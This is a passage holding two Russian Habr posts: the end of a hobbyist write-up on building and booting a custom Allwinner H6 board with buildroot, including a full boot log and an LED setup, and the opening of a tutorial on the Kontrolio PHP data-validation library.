Footprint's и 3d модели основных компонентов брал готовые из онлайн библиотек. Хотелось собрать быстро и чтобы работало. В свободное от работы время. Вопрос об ЭМС, просчет импеданса, выравнивание длин проводников на линиях DDR не стоял на первом месте. К этому подстегивал автор статьи выше, акцентируя что это не самое важное. Для проверки концепта. На реальном проекте так делать конечно не надо.
Интересно было узнать, что шину данных от процессора к DDR можно подключать как удобно, внутри одного байта. Единственное, надо соответственно подключить сигналы маски DQMx и стробов DQSx. Порядок хранения битов для памяти не важен. Это подтверждает и схемотехника референсных плат.
Итак, заказываем платы из китая. Цена примерно 140$, со всеми комиссиями и доставкой. Дорого, сравнивая с ценой 10-15$ за предыдущие 4х слойные платы. В этот раз оплата заказа из РФ только через алиэкспресс. 5 штук, 6 слоев, без трафарета, а хотелось. В данный момент, как сообщили менеджеры на алиэкспресс трафарет сделать не могут.
Пайка.
Задача запаять и проверить базовые компоненты без правильной работы которых дальнейшая сборка не имеет смысл. Это - питание, процессор, sd-карта, память. Заливаем прошивку и смотрим в консоль (об этом позже). С первого раза запустить не получилось. Выпаивал процессор, память и запаивал обратно. Новые компоненты ждать из китая долго не хотелось, лучше брать с запасом. Реболил вручную, ввиду отсутствия трафаретов. Сложно, но можно. Брал шары 0.3, раскладывал на контакты поверх флюса и грел феном. Способов много. Смотрим ролики на ютубе - "How to reball ic without a stencil". Процессор после ручного реболлинга работал. Проблема была в другом. Не запаял одну из перемычек на питание процессора. Выяснилось это после чтения даташита о порядке инициализации питания. Также не определялась оперативная память. Вероятно была перегрета после нескольких раз ее пайки. Новая заработала. В остальном обошлось поверхностными доработками которые можно заметить на фото.
Прошивка
--------
Система сборки - buildroot, defconfig от платы Orange Pi One Plus. Для запуска и получения приглашения командной строки править ничего не пришлось. Собираем бинарь и заливаем sdcard.img с balenaEtcher на sd-карту. Сборка и путь прошивки:
```
host@host:~/my_dev/buildroot/buildroot-2022.05$ make orangepi_one_plus_defconfig
host@host:~/my_dev/buildroot/buildroot-2022.05$ make
host@host:~/my_dev/buildroot/buildroot-2022.05/output/images$ ls -l | grep sdcard.img
-rw-r--r-- 1 host host 382730240 сен 19 11:46 sdcard.img
```
Вывод консоли
```
U-Boot SPL 2018.09 (Aug 31 2022 - 23:38:08 +0300)
DRAM: 1024 MiB
Trying to boot from MMC1
NOTICE: BL31: v2.0(release):
NOTICE: BL31: Built : 05:52:03, Aug 29 2022
NOTICE: BL31: Detected Allwinner H6 SoC (1728)
NOTICE: PMIC: Probing AXP805
NOTICE: PMIC: AXP805 detected
U-Boot 2018.09 (Aug 31 2022 - 23:38:08 +0300) Allwinner Technology
CPU: Allwinner H6 (SUN50I)
Model: OrangePi One Plus
DRAM: 1 GiB
MMC: SUNXI SD/MMC: 0
Loading Environment from FAT... *** Warning - bad CRC, using default environment
In: serial@5000000
Out: serial@5000000
Err: serial@5000000
Net: No ethernet found.
starting USB...
No controllers found
Hit any key to stop autoboot: 0
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found /extlinux/extlinux.conf
Retrieving file: /extlinux/extlinux.conf
145 bytes read in 3 ms (46.9 KiB/s)
1: linux
Retrieving file: /Image
34877952 bytes read in 3499 ms (9.5 MiB/s)
append: console=ttyS0,115200 earlyprintk root=/dev/mmcblk0p2 rootwait
Retrieving file: /sun50i-h6-orangepi-one-plus.dtb
22256 bytes read in 5 ms (4.2 MiB/s)
## Flattened Device Tree blob at 4fa00000
Booting using the fdt blob at 0x4fa00000
Loading Device Tree to 0000000049ff7000, end 0000000049fff6ef ... OK
Starting kernel ...
[ 0.000000] Booting Linux on physical CPU 0x0000000000 [0x410fd034]
[ 0.000000] Linux version 5.17.13-g9a13308e835f-dirty (host@host-U31SG) (aarch64-buildroot-linux-uclibc-gcc.br_real (Buildroot 2022.05) 10.3.0, GNU ld (GNU Binutils) 2.37) #9 SMP PREEMPT Mon Sep 19 112
[ 0.000000] Machine model: OrangePi One Plus
[ 0.000000] efi: UEFI not found.
[ 0.000000] NUMA: No NUMA configuration found
[ 0.000000] NUMA: Faking a node at [mem 0x0000000040000000-0x000000007fffffff]
[ 0.000000] NUMA: NODE_DATA [mem 0x7fddcb40-0x7fddefff]
[ 0.000000] Zone ranges:
[ 0.000000] DMA [mem 0x0000000040000000-0x000000007fffffff]
[ 0.000000] DMA32 empty
[ 0.000000] Normal empty
[ 0.000000] Movable zone start for each node
[ 0.000000] Early memory node ranges
[ 0.000000] node 0: [mem 0x0000000040000000-0x000000007fffffff]
[ 0.000000] Initmem setup node 0 [mem 0x0000000040000000-0x000000007fffffff]
[ 0.000000] cma: Reserved 32 MiB at 0x000000007cc00000
[ 0.000000] psci: probing for conduit method from DT.
[ 0.000000] psci: PSCIv1.1 detected in firmware.
[ 0.000000] psci: Using standard PSCI v0.2 function IDs
[ 0.000000] psci: MIGRATE_INFO_TYPE not supported.
[ 0.000000] psci: SMC Calling Convention v1.1
[ 0.000000] percpu: Embedded 20 pages/cpu s41944 r8192 d31784 u81920
[ 0.000000] Detected VIPT I-cache on CPU0
[ 0.000000] CPU features: detected: ARM erratum 845719
[ 0.000000] Fallback order for Node 0: 0
[ 0.000000] Built 1 zonelists, mobility grouping on. Total pages: 258048
[ 0.000000] Policy zone: DMA
[ 0.000000] Kernel command line: console=ttyS0,115200 earlyprintk root=/dev/mmcblk0p2 rootwait
[ 0.000000] Unknown kernel command line parameters "earlyprintk", will be passed to user space.
[ 0.000000] Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes, linear)
[ 0.000000] Inode-cache hash table entries: 65536 (order: 7, 524288 bytes, linear)
[ 0.000000] mem auto-init: stack:off, heap alloc:off, heap free:off
[ 0.000000] Memory: 960732K/1048576K available (15616K kernel code, 3212K rwdata, 8560K rodata, 6528K init, 512K bss, 55076K reserved, 32768K cma-reserved)
[ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1
[ 0.000000] rcu: Preemptible hierarchical RCU implementation.
[ 0.000000] rcu: RCU event tracing is enabled.
[ 0.000000] rcu: RCU restricting CPUs from NR_CPUS=256 to nr_cpu_ids=4.
[ 0.000000] Trampoline variant of Tasks RCU enabled.
[ 0.000000] rcu: RCU calculated value of scheduler-enlistment delay is 25 jiffies.
[ 0.000000] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=4
[ 0.000000] NR_IRQS: 64, nr_irqs: 64, preallocated irqs: 0
[ 0.000000] Root IRQ handler: gic_handle_irq
[ 0.000000] GIC: Using split EOI/Deactivate mode
[ 0.000000] arch_timer: cp15 timer(s) running at 24.00MHz (phys).
[ 0.000000] clocksource: arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x588fe9dc0, max_idle_ns: 440795202592 ns
[ 0.000000] sched_clock: 56 bits at 24MHz, resolution 41ns, wraps every 4398046511097ns
[ 0.000229] clocksource: timer: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 79635851949 ns
[ 0.001122] Console: colour dummy device 80x25
[ 0.001211] Calibrating delay loop (skipped), value calculated using timer frequency.. 48.00 BogoMIPS (lpj=96000)
[ 0.001228] pid_max: default: 32768 minimum: 301
[ 0.001298] LSM: Security Framework initializing
[ 0.001416] Mount-cache hash table entries: 2048 (order: 2, 16384 bytes, linear)
[ 0.001433] Mountpoint-cache hash table entries: 2048 (order: 2, 16384 bytes, linear)
[ 0.002930] cblist_init_generic: Setting adjustable number of callback queues.
[ 0.002949] cblist_init_generic: Setting shift to 2 and lim to 1.
[ 0.003128] rcu: Hierarchical SRCU implementation.
[ 0.004995] EFI services will not be available.
[ 0.005255] smp: Bringing up secondary CPUs ...
[ 0.006029] Detected VIPT I-cache on CPU1
[ 0.006105] CPU1: Booted secondary processor 0x0000000001 [0x410fd034]
[ 0.006844] Detected VIPT I-cache on CPU2
[ 0.006887] CPU2: Booted secondary processor 0x0000000002 [0x410fd034]
[ 0.007541] Detected VIPT I-cache on CPU3
[ 0.007577] CPU3: Booted secondary processor 0x0000000003 [0x410fd034]
[ 0.007643] smp: Brought up 1 node, 4 CPUs
[ 0.007669] SMP: Total of 4 processors activated.
[ 0.007677] CPU features: detected: 32-bit EL0 Support
[ 0.007683] CPU features: detected: 32-bit EL1 Support
[ 0.007691] CPU features: detected: CRC32 instructions
[ 0.015684] CPU: All CPU(s) started at EL2
[ 0.015741] alternatives: patching kernel code
[ 0.017279] devtmpfs: initialized
[ 0.021874] KASLR disabled due to lack of seed
[ 0.022055] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[ 0.022077] futex hash table entries: 1024 (order: 4, 65536 bytes, linear)
[ 0.023379] pinctrl core: initialized pinctrl subsystem
[ 0.024561] DMI not present or invalid.
[ 0.025305] NET: Registered PF_NETLINK/PF_ROUTE protocol family
[ 0.026965] DMA: preallocated 128 KiB GFP_KERNEL pool for atomic allocations
[ 0.027128] DMA: preallocated 128 KiB GFP_KERNEL|GFP_DMA pool for atomic allocations
[ 0.027263] DMA: preallocated 128 KiB GFP_KERNEL|GFP_DMA32 pool for atomic allocations
[ 0.027341] audit: initializing netlink subsys (disabled)
[ 0.027503] audit: type=2000 audit(0.024:1): state=initialized audit_enabled=0 res=1
[ 0.028690] thermal_sys: Registered thermal governor 'step_wise'
[ 0.028698] thermal_sys: Registered thermal governor 'power_allocator'
[ 0.029049] cpuidle: using governor menu
[ 0.029244] hw-breakpoint: found 6 breakpoint and 4 watchpoint registers.
[ 0.029356] ASID allocator initialised with 65536 entries
[ 0.030989] Serial: AMBA PL011 UART driver
[ 0.044413] platform 6515000.lcd-controller: Fixing up cyclic dependency with 6510000.tcon-top
[ 0.044993] platform 6511000.lcd-controller: Fixing up cyclic dependency with 6510000.tcon-top
[ 0.046894] platform 7022000.pinctrl: Fixing up cyclic dependency with pmic@745 (7083000.rsb)
[ 0.048752] platform panel: Fixing up cyclic dependency with 6511000.lcd-controller
[ 0.059503] HugeTLB registered 1.00 GiB page size, pre-allocated 0 pages
[ 0.059526] HugeTLB registered 32.0 MiB page size, pre-allocated 0 pages
[ 0.059535] HugeTLB registered 2.00 MiB page size, pre-allocated 0 pages
[ 0.059544] HugeTLB registered 64.0 KiB page size, pre-allocated 0 pages
[ 0.061068] ACPI: Interpreter disabled.
[ 0.063423] iommu: Default domain type: Translated
[ 0.063436] iommu: DMA domain TLB invalidation policy: strict mode
[ 0.063691] vgaarb: loaded
[ 0.064007] SCSI subsystem initialized
[ 0.064391] usbcore: registered new interface driver usbfs
[ 0.064436] usbcore: registered new interface driver hub
[ 0.064470] usbcore: registered new device driver usb
[ 0.065362] pps_core: LinuxPPS API ver. 1 registered
[ 0.065371] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti
[ 0.065389] PTP clock support registered
[ 0.065512] EDAC MC: Ver: 3.0.0
[ 0.066947] FPGA manager framework
[ 0.067036] Advanced Linux Sound Architecture Driver Initialized.
[ 0.068044] clocksource: Switched to clocksource arch\_sys\_counter
[ 0.068268] VFS: Disk quotas dquot\_6.6.0
[ 0.068320] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[ 0.068526] pnp: PnP ACPI: disabled
[ 0.075109] NET: Registered PF\_INET protocol family
[ 0.075303] IP idents hash table entries: 16384 (order: 5, 131072 bytes, linear)
[ 0.076110] tcp\_listen\_portaddr\_hash hash table entries: 512 (order: 1, 8192 bytes, linear)
[ 0.076182] TCP established hash table entries: 8192 (order: 4, 65536 bytes, linear)
[ 0.076262] TCP bind hash table entries: 8192 (order: 5, 131072 bytes, linear)
[ 0.076407] TCP: Hash tables configured (established 8192 bind 8192)
[ 0.076510] UDP hash table entries: 512 (order: 2, 16384 bytes, linear)
[ 0.076553] UDP-Lite hash table entries: 512 (order: 2, 16384 bytes, linear)
[ 0.076691] NET: Registered PF\_UNIX/PF\_LOCAL protocol family
[ 0.077069] RPC: Registered named UNIX socket transport module.
[ 0.077080] RPC: Registered udp transport module.
[ 0.077086] RPC: Registered tcp transport module.
[ 0.077092] RPC: Registered tcp NFSv4.1 backchannel transport module.
[ 0.077104] PCI: CLS 0 bytes, default 64
[ 0.077936] hw perfevents: enabled with armv8\_cortex\_a53 PMU driver, 7 counters available
[ 0.078375] kvm [1]: IPA Size Limit: 40 bits
[ 0.080311] kvm [1]: vgic interrupt IRQ9
[ 0.080464] kvm [1]: Hyp mode initialized successfully
[ 0.081777] Initialise system trusted keyrings
[ 0.082040] workingset: timestamp\_bits=42 max\_order=18 bucket\_order=0
[ 0.089111] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[ 0.089837] NFS: Registering the id\_resolver key type
[ 0.089897] Key type id\_resolver registered
[ 0.089905] Key type id\_legacy registered
[ 0.089986] nfs4filelayout\_init: NFSv4 File Layout Driver Registering...
[ 0.089995] nfs4flexfilelayout\_init: NFSv4 Flexfile Layout Driver Registering...
[ 0.090172] 9p: Installing v9fs 9p2000 file system support
[ 0.135580] Key type asymmetric registered
[ 0.135591] Asymmetric key parser 'x509' registered
[ 0.135642] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 245)
[ 0.135653] io scheduler mq-deadline registered
[ 0.135660] io scheduler kyber registered
[ 0.148250] EINJ: ACPI disabled.
[ 0.170602] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[ 0.173581] SuperH (H)SCI(F) driver initialized
[ 0.174149] msm\_serial: driver initialized
[ 0.175878] cacheinfo: Unable to detect cache hierarchy for CPU 0
[ 0.181121] loop: module loaded
[ 0.182304] megasas: 07.719.03.00-rc1
[ 0.189130] tun: Universal TUN/TAP device driver, 1.6
[ 0.190095] thunder\_xcv, ver 1.0
[ 0.190139] thunder\_bgx, ver 1.0
[ 0.190178] nicpf, ver 1.0
[ 0.191544] hns3: Hisilicon Ethernet Network Driver for Hip08 Family - version
[ 0.191555] hns3: Copyright (c) 2017 Huawei Corporation.
[ 0.191611] hclge is initializing
[ 0.191636] e1000: Intel(R) PRO/1000 Network Driver
[ 0.191643] e1000: Copyright (c) 1999-2006 Intel Corporation.
[ 0.191687] e1000e: Intel(R) PRO/1000 Network Driver
[ 0.191693] e1000e: Copyright(c) 1999 - 2015 Intel Corporation.
[ 0.191740] igb: Intel(R) Gigabit Ethernet Network Driver
[ 0.191747] igb: Copyright (c) 2007-2014 Intel Corporation.
[ 0.191782] igbvf: Intel(R) Gigabit Virtual Function Network Driver
[ 0.191789] igbvf: Copyright (c) 2009 - 2012 Intel Corporation.
[ 0.192167] sky2: driver version 1.30
[ 0.193358] VFIO - User Level meta-driver version: 0.3
[ 0.195572] ehci\_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[ 0.195587] ehci-pci: EHCI PCI platform driver
[ 0.195631] ehci-platform: EHCI generic platform driver
[ 0.195790] ehci-orion: EHCI orion driver
[ 0.195897] ehci-exynos: EHCI Exynos driver
[ 0.195990] ohci\_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[ 0.196015] ohci-pci: OHCI PCI platform driver
[ 0.196098] ohci-platform: OHCI generic platform driver
[ 0.196242] ohci-exynos: OHCI Exynos driver
[ 0.196858] usbcore: registered new interface driver usb-storage
[ 0.200392] sun6i-rtc 7000000.rtc: registered as rtc0
[ 0.200428] sun6i-rtc 7000000.rtc: setting system clock to 1970-01-01T00:00:06 UTC (6)
[ 0.200444] sun6i-rtc 7000000.rtc: RTC enabled
[ 0.200829] i2c\_dev: i2c /dev entries driver
[ 0.207994] sdhci: Secure Digital Host Controller Interface driver
[ 0.208011] sdhci: Copyright(c) Pierre Ossman
[ 0.208856] Synopsys Designware Multimedia Card Interface Driver
[ 0.210021] sdhci-pltfm: SDHCI platform and OF driver helper
[ 0.211501] leds-gpio: probe of leds failed with error -2
[ 0.211879] ledtrig-cpu: registered to indicate activity on CPUs
[ 0.214181] usbcore: registered new interface driver usbhid
[ 0.214199] usbhid: USB HID core driver
[ 0.221219] NET: Registered PF\_PACKET protocol family
[ 0.221396] 9pnet: Installing 9P2000 support
[ 0.221468] Key type dns\_resolver registered
[ 0.221791] Loading compiled-in X.509 certificates
[ 0.239301] platform 1100000.mixer: Fixing up cyclic dependency with 6510000.tcon-top
[ 0.246410] sun50i-h6-r-pinctrl 7022000.pinctrl: initialized sunXi PIO driver
[ 0.249564] ehci-platform 5101000.usb: EHCI Host Controller
[ 0.249605] ehci-platform 5101000.usb: new USB bus registered, assigned bus number 1
[ 0.249715] ehci-platform 5101000.usb: irq 36, io mem 0x05101000
[ 0.264066] ehci-platform 5101000.usb: USB 2.0 started, EHCI 1.00
[ 0.264739] hub 1-0:1.0: USB hub found
[ 0.264774] hub 1-0:1.0: 1 port detected
[ 0.267096] ehci-platform 5311000.usb: EHCI Host Controller
[ 0.267129] ehci-platform 5311000.usb: new USB bus registered, assigned bus number 2
[ 0.267235] ehci-platform 5311000.usb: irq 38, io mem 0x05311000
[ 0.280058] ehci-platform 5311000.usb: USB 2.0 started, EHCI 1.00
[ 0.280670] hub 2-0:1.0: USB hub found
[ 0.280702] hub 2-0:1.0: 1 port detected
[ 0.456124] ohci-platform 5101400.usb: Generic Platform OHCI controller
[ 0.456171] ohci-platform 5101400.usb: new USB bus registered, assigned bus number 3
[ 0.456308] ohci-platform 5101400.usb: irq 37, io mem 0x05101400
[ 0.520635] hub 3-0:1.0: USB hub found
[ 0.520668] hub 3-0:1.0: 1 port detected
[ 0.522976] ohci-platform 5311400.usb: Generic Platform OHCI controller
[ 0.523010] ohci-platform 5311400.usb: new USB bus registered, assigned bus number 4
[ 0.523133] ohci-platform 5311400.usb: irq 39, io mem 0x05311400
[ 0.584671] hub 4-0:1.0: USB hub found
[ 0.584705] hub 4-0:1.0: 1 port detected
[ 0.587241] usb\_phy\_generic usb\_phy\_generic.1.auto: supply vcc not found, using dummy regulator
[ 0.587427] usb\_phy\_generic usb\_phy\_generic.1.auto: dummy supplies not allowed for exclusive requests
[ 0.664275] musb-hdrc musb-hdrc.2.auto: MUSB HDRC host driver
[ 0.664304] musb-hdrc musb-hdrc.2.auto: new USB bus registered, assigned bus number 5
[ 0.664885] hub 5-0:1.0: USB hub found
[ 0.664921] hub 5-0:1.0: 1 port detected
[ 0.673926] sun50i-h6-r-pinctrl 7022000.pinctrl: supply vcc-pl not found, using dummy regulator
[ 0.674299] sunxi-rsb 7083000.rsb: RSB running at 3000000 Hz
[ 0.674739] axp20x-rsb sunxi-rsb-745: AXP20x variant AXP806 found
[ 0.677660] vdd-sys: Bringing 900000uV into 960000-960000uV
[ 0.678369] vcc-ac200: Bringing 700000uV into 3300000-3300000uV
[ 0.678630] vcc25-dram: Bringing 700000uV into 3300000-3300000uV
[ 0.679372] vcc-dcxoio: Bringing 700000uV into 1800000-1800000uV
[ 0.680156] vcc-wifi-1: Bringing 700000uV into 3300000-3300000uV
[ 0.680431] vcc-wifi-2: Bringing 700000uV into 3300000-3300000uV
[ 0.680865] axp20x-rsb sunxi-rsb-745: AXP20X driver loaded
[ 0.686413] sun50i-h6-pinctrl 300b000.pinctrl: initialized sunXi PIO driver
[ 0.687911] sun50i-h6-pinctrl 300b000.pinctrl: supply vcc-ph not found, using dummy regulator
[ 0.688523] printk: console [ttyS0] disabled
[ 0.708947] 5000000.serial: ttyS0 at MMIO 0x5000000 (irq = 34, base\_baud = 1500000) is a 16550A
[ 2.080218] printk: console [ttyS0] enabled
[ 2.087924] ALSA device list:
[ 2.089592] sun50i-h6-pinctrl 300b000.pinctrl: supply vcc-pf not found, using dummy regulator
[ 2.090948] No soundcards found.
[ 2.100299] sunxi-mmc 4020000.mmc: Got CD GPIO
[ 2.132842] sunxi-mmc 4020000.mmc: initialized, max. request size: 16384 KB, uses new timings mode
[ 2.141994] Waiting for root device /dev/mmcblk0p2...
[ 2.176604] mmc0: host does not support reading read-only switch, assuming write-enable
[ 2.186550] mmc0: new high speed SDHC card at address 0007
[ 2.192680] mmcblk0: mmc0:0007 SD4GB 3.71 GiB
[ 2.199129] mmcblk0: p1 p2
[ 2.215454] EXT4-fs (mmcblk0p2): mounted filesystem with ordered data mode. Quota mode: none.
[ 2.224091] VFS: Mounted root (ext4 filesystem) readonly on device 179:2.
[ 2.231723] devtmpfs: mounted
[ 2.237376] Freeing unused kernel memory: 6528K
[ 2.242036] Run /sbin/init as init process
[ 2.537467] EXT4-fs (mmcblk0p2): re-mounted. Quota mode: none.
Starting syslogd: OK
Starting klogd: OK
Running sysctl: OK
Saving random seed: [ 2.625129] random: dd: uninitialized urandom read (32 bytes read)
OK
Starting network: [ 2.971653] NET: Registered PF\_INET6 protocol family
[ 2.977676] Segment Routing with IPv6
[ 2.981418] In-situ OAM (IOAM) with IPv6
OK
Welcome to CustomBoard
buildroot login: root
#
```
Мигаем светодиодом.
Проверяем что `/sys/class/leds` включен в конфиге ядра.
Открываем конфиг:
```
host@host:~/my_dev/buildroot/buildroot-2022.05$ make linux-menuconfig
```
Включаем поддержку LED
```
-> Device Drivers
-> LED Support
<*> LED Class Support
```
Прописываем LED в device tree:
```
~/my_dev/buildroot/buildroot-2022.05/output/build/linux-5.17.13/arch/arm64/boot/dts/allwinner/sun50i-h6-orangepi-one-plus.dts
...
leds {
compatible = "gpio-leds";
heartbeat {
label = "my_board:green:heartbeat";
gpios = <&r_pio 0 2 GPIO_ACTIVE_LOW>;/* PL2 */
};
};
...
```
Ребилдим ядро и бинарь:
```
host@host:~/my_dev/buildroot/buildroot-2022.05$ make linux-rebuild
host@host:~/my_dev/buildroot/buildroot-2022.05$ make
```
Заливаем на карту. Подключаем консоль через USB-UART переходник . Запускаем minicom. Логин root, пароль - пустой. Активируем светодиод:
```
# echo heartbeat > /sys/class/leds/my_board:green:heartbeat/trigger
```
Что дальше
----------
Для вывода изображения на дисплей необходимо доработать графическую подсистему ядра - DRM/KMS, в device tree добавить объекты lcd controller и panel. На данный момент под этот процессор реализован только вывод на HDMI. Также нужно добавить драйвер WIFI для AP6212. | https://habr.com/ru/post/691936/ | null | ru | null |
# Держите данные под контролем
Не секрет, что пользовательским данным доверять нельзя. Поэтому однажды человек и придумал валидацию данных. Ну а я, интереса ради и пользы для, написал свою реализацию валидатора на PHP.
[Kontrolio](https://github.com/franzose/kontrolio) — «очередная библиотека валидации данных», спроектированная независимой от фреймворков, расширяемой и дружественной контейнерам сервисов. Альтернативы: [Respect](https://github.com/Respect/Validation), [Sirius Validation](https://github.com/siriusphp/validation), [Valitron](https://github.com/vlucas/valitron) и [многие другие](https://github.com/search?l=PHP&&q=validation).
В идеале предполагается, что вы используете некую реализацию контейнера сервисов (напр., [PHP-DI](https://github.com/PHP-DI/PHP-DI), [PHP League Container](https://github.com/thephpleague/container) и др.), поэтому для начала необходимо зарегистрировать Kontrolio в нём:
```
use Kontrolio\Factory;
// Регистрируем
$container->singleton('validation', function() {
return new Factory;
});
// Используем
$validator = $container->get('validation')
->make($data, $rules, $messages)
->validate();
```
В тех ситуациях, когда внедрить контейнер в проект затруднительно, вы можете использовать старый-добрый *(на самом деле нет)* синглтон:
```
use Kontrolio\Factory;
$validator = Factory::getInstance()
->make($data, $rules, $messages)
->validate();
```
Возможно вы заметите, что процесс валидации похож на оный из Laravel. Действительно, мне понравилось то, как там это реализовано, поэтому я решил использовать подобное решение. **$data**, **$rules** и **$messages** — ассоциативные массивы, где **$data** — это просто массив из пар ключ-значение (может быть многомерным), в котором ключ это имя атрибута, который необходимо провалидировать. Самое интересное — в правилах валидации и сообщениях об ошибках.
Правила валидации и сообщения об ошибках
----------------------------------------
Правило валидации в Kontrolio может быть представлено объектом класса правила или замыканием. Замыкания — самый простой способ описания правила валидации:
```
$rules = [
'attribute' => function($value) {
return $value === 'foo';
}
];
$valid = $validator
->make(['attribute' => 'bar'], $rules)
->validate();
var_dump($valid); // false
```
Правила-замыкания при обработке валидатором оборачиваются в объект класса [Kontrolio\Rules\CallbackRuleWrapper](https://github.com/franzose/kontrolio/blob/master/src/Rules/CallableRuleWrapper.php), поэтому они располагают всеми теми же опциями, что и классы-правила, и вы можете написать замыкание в таком виде:
```
'attribute' => function($value) {
return [
'valid' => $value === 'foo',
'name' => 'value_is_foo_rule',
'empty_allowed' => true,
'skip' => false,
'violations' => []
];
}
```
Замыкания удобны для простых правил, которые не предназначены для многоразового использования. Но если вы планируете использовать правило в разных местах, то лучше написать отдельный класс правила и затем создать его объект:
```
use Kontrolio\Rules\AbstractRule;
class FooRule extends AbstractRule
{
public function isValid($input = null)
{
return $input === 'foo';
}
}
$rules = ['attribute' => new FooRule];
```
*На заметку: Kontrolio поставляется с множеством правил «из коробки».*
Опции правил валидации
----------------------
В записи правил в виде замыканий вы заметили несколько опций, которые поддерживает любое правило. Немного о каждой опции далее.
**valid.** Это непосредственно условие. Эквивалент для класса правила — метод **isValid**, принимающий один аргумент, валидируемое значение атрибута. Чтобы стало понятнее, я покажу, как можно задать правило валидации для некого атрибута:
```
// Самый простой способ, где возвращаемое значение есть условие правила.
'attribute' => function($value) {
return $value === 'foo';
}
// Если вы хотите использовать опции, вам необходимо возвращать массив из замыкания,
// при этом в массиве должен быть обязательно задан ключ 'valid',
// который определяет условие правила.
'attribute' => function($value) {
return [
'valid' => $value === 'foo'
// другие опции...
];
}
// При использовании отдельного класса вы наследуете свое правило от базового класса
// и определяете метод isValid, в котором возвращаете условие.
use Kontrolio\Rules\AbstractRule;
class FooRule extends AbstractRule
{
public function isValid($input = null)
{
return $input === 'foo';
}
}
```
Это самые простые способы задания правила к атрибуту.
**name.** Это имя или идентификатор правила. Главным образом, используется для формирования сообщений об ошибках валидации:
```
$data = ['attribute' => 'invalid'];
$rules = ['attribute' => new Email];
$messages = ['attribute.email' => 'The attribute must be an email'];
$validator = $container->get('validation')
->make($data, $rules, $messages);
if ($validator->validate()) {
//
} else {
$messages = $validator->getErrors();
}
```
Если вы создаете правило на основе класса, то вам нет необходимости задавать имя/идентификатор правила вручную, потому что наследуясь от Kontrolio\Rules\AbstractRule вы получаете данную функциональность по умолчанию в методе **getName**. Тем не менее вы можете свободно менять имя правила просто переопределив этот метод.
**empty\_allowed.** Эта опция полезна в ситуациях, когда вам необходимо применить правило валидации только в том случае, если значение атрибута присутствует. С замыканиями это выглядит так:
```
'attribute' => function($value) {
return [
'valid' => $value === 'foo',
'empty_allowed' => true
];
}
```
Используя класс-правило с данной опцией, вы можете применить его к атрибуту двумя способами:
```
// Именованный конструктор
'attribute' => FooRule::allowingEmptyValue()
// Или соответствующий не статический метод
'attribute' => (new FooRule)->allowEmptyValue()
```
В данном случае, валидатор ответит положительно, если в значении атрибута будет значение 'foo' или он будет пуст.
**skip.** Эта опция не похожа на предыдущую. Она позволяет вам указать такое условие, которое прикажет валидатору пропустить проверку атрибута так, как будто данного правила и не было вовсе.
```
'confirmed' => function($value) {
return [
'valid' => (bool)$value === true,
'skip' => is_admin()
];
}
```
Эквивалент для правила-класса — метод **canSkipValidation**, и работает он абсолютно так же:
```
class FooRule
{
public function isValid($input = null)
{
return (bool)$value === true;
}
public function canSkipValidation()
{
return is_admin();
}
}
$rules = ['confirmed' => new FooRule];
```
**violations.** Я любезно позаимствовал данный термин из Symfony. С использованием «нарушений» пользователь может получить более точное сообщение об ошибке (которое вам необходимо задать), хотя сам валидатор, так же как и прежде, просто вернёт false:
```
$data = 'nonsense';
$rules = ['attribute' => new Email(true, true)];
$messages = [
'attribute' => [
'email' => "Something's wrong with your email.",
'email.mx' => 'MX record is wrong.',
'email.host' => 'Unknown email host.'
]
];
```
Вы можете задавать столько «нарушений», сколько пожелаете, и каждое из них затем может быть использовано для более детального описания ошибок валидации: от самого общего сообщения до самого детализированного. Посмотрите, как пример, класс [Kontrolio\Rules\Core\Email](https://github.com/franzose/kontrolio/blob/master/src/Rules/Core/Email.php).
Применяем несколько правил к атрибутам
--------------------------------------
До этого все примеры показывали описание одного правила к одному атрибуту. Но, естественно, вы можете добавлять сколь угодно много правил к сколь угодно многим атрибутам :) Более того, вы можете совмещать использование замыканий и классов:
```
$rules = [
'some' => function($value) {
return $value === 'foo';
},
'another' => [
function($value) {
return $value !== 'foo';
},
new FooBarRule,
// и так далее...
]
];
```
Всё круто, конечно, но есть еще один интересный способ записи **целого набора правил** — в виде строки:
```
'attribute' => 'not_empty|length:5,15'
```
Здесь каждое правило отделяется вертикальной чертой. Эту идею я позаимствовал из Laravel, но разница в том, что любая такая строка «распаковывается» в обычный массив правил, который вы видели уже не раз в статье. Так что строка выше в данном случае — всего лишь сахарок для вот такого массива:
```
'attribute' => [
new NotEmpty,
new Length(5, 15)
]
```
Обратите внимание, что всё, что вы пишете после двоеточия, прямиком попадает в аргументы конструктора правила-класса:
```
'length:5, 15' -> new Length(5, 15)
```
Так что тут надо быть осторожным.
Пропускаем валидацию атрибута целиком
-------------------------------------
Пропуска отдельного правила или позволения пустых значений было бы недостаточно, поэтому Kontrolio содержит специальное правило, названное по аналогии с Laravel — **'sometimes'** и представленное классом Kontrolio\Rules\Core\Sometimes. Когда вы добавите это правило к атрибуту, оно укажет валидатору пропустить проверку атрибута, если он отсутствует в массиве данных, переданных в валидатор, или если его значение пусто. Данное правило необходимо всегда ставить первым в списке.
```
$data = [];
$rules = ['attribute' => 'sometimes|length:5,15'];
$valid = $container
->get('validator')
->make($data, $rules)
->validate();
var_dump($valid); // true
```
По аналогии с предыдущими примерами данный может быть записан и так:
```
$data = [];
$rules = [
'attribute' => [
new Sometimes,
new Length(5, 15)
]
];
$valid = $container
->get('validator')
->make($data, $rules)
->validate();
var_dump($valid); // true
```
Вывод ошибок валидации
----------------------
Ошибки валидации хранятся в виде ассоциативного массива, где ключи это названия атрибутов, а значения — массивы с самими сообщениями:
```
$data = ['attribute' => ''];
$rules = [
'attribute' => [
new NotBlank,
new Length(5, 15)
]
];
$messages = [
